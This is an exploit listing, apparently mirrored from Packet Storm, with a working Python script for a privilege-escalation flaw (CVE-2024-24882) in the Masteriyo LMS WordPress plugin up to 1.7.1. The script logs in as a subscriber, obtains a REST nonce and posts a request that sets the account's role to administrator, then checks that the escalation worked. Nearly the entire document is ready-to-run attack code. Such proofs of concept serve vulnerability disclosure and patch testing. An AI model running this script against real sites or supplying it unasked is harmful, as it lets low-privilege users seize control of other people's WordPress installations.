Share
## https://sploitus.com/exploit?id=PACKETSTORM:226395
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Masteriyo LMS (learning-management-system) <= 1.7.1 - Authenticated (Student+) Privilege Escalation to Administrator
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/learning-management-system/
    # Software Link: https://downloads.wordpress.org/plugin/learning-management-system.1.7.1.zip
    # Version: 1.7.1 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-24882
    """
    Masteriyo LMS <= 1.7.1 REST route /wp-json/masteriyo/v1/users/me (update_logged_in_user ->
    update_item) has permission_callback = is_user_logged_in() with NO capability check, and
    $user->set_roles($request['role']) accepts any WP role including administrator
    (UsersController.php:1119). Any authenticated low-privilege user (Masteriyo self-registration
    gives a 'student'/subscriber account) can PUT/POST {"role":"administrator"} to become admin.
    
    Prior state: any logged-in low-priv account (here lp_subscriber). wp_rest nonce is obtained from
    /wp-admin/admin-ajax.php?action=rest-nonce (works for any role).
    """
    import argparse, sys, re
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--user", default="lp_subscriber")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        a = ap.parse_args(); base = a.target.rstrip("/")
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php", data={"log": a.user, "pwd": a.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        n = s.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
        before = s.get(base + "/wp-json/masteriyo/v1/users/me", headers={"X-WP-Nonce": n}).json().get("roles")
        print(f"[*] {a.user} roles BEFORE: {before}")
        r = s.post(base + "/wp-json/masteriyo/v1/users/me",
                   headers={"X-WP-Nonce": n, "Content-Type": "application/json"},
                   json={"role": "administrator"}, timeout=20)
        after = s.get(base + "/wp-json/masteriyo/v1/users/me", headers={"X-WP-Nonce": n}).json().get("roles")
        print(f"[*] escalation POST -> HTTP {r.status_code} | roles AFTER: {after}")
        if after and "administrator" in after:
            print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED โ€” {a.user} is now administrator.")
            return 0
        print("\n[-] not confirmed"); return 1
    
    if __name__ == "__main__":
        sys.exit(main())